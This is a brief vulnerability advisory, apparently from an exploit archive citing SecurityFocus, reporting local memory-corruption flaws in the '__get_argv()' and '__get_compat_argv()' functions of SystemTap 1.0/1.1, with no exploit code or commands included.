SystemTap 1.0/1.1 - '__get_argv()' / '__get_compat_argv()' Local Memory Corruption

source: https://www.securityfocus.com/bid/38120/info

SystemTap is prone to multiple local memory-corruption vulnerabilities.

An attacker may exploit these issues to execute arbitrary code with SYSTEM privileges. Failed exploit attempts will result in a denial of service.

SystemTap 1.1 is vulnerable; other versions may also be affected.
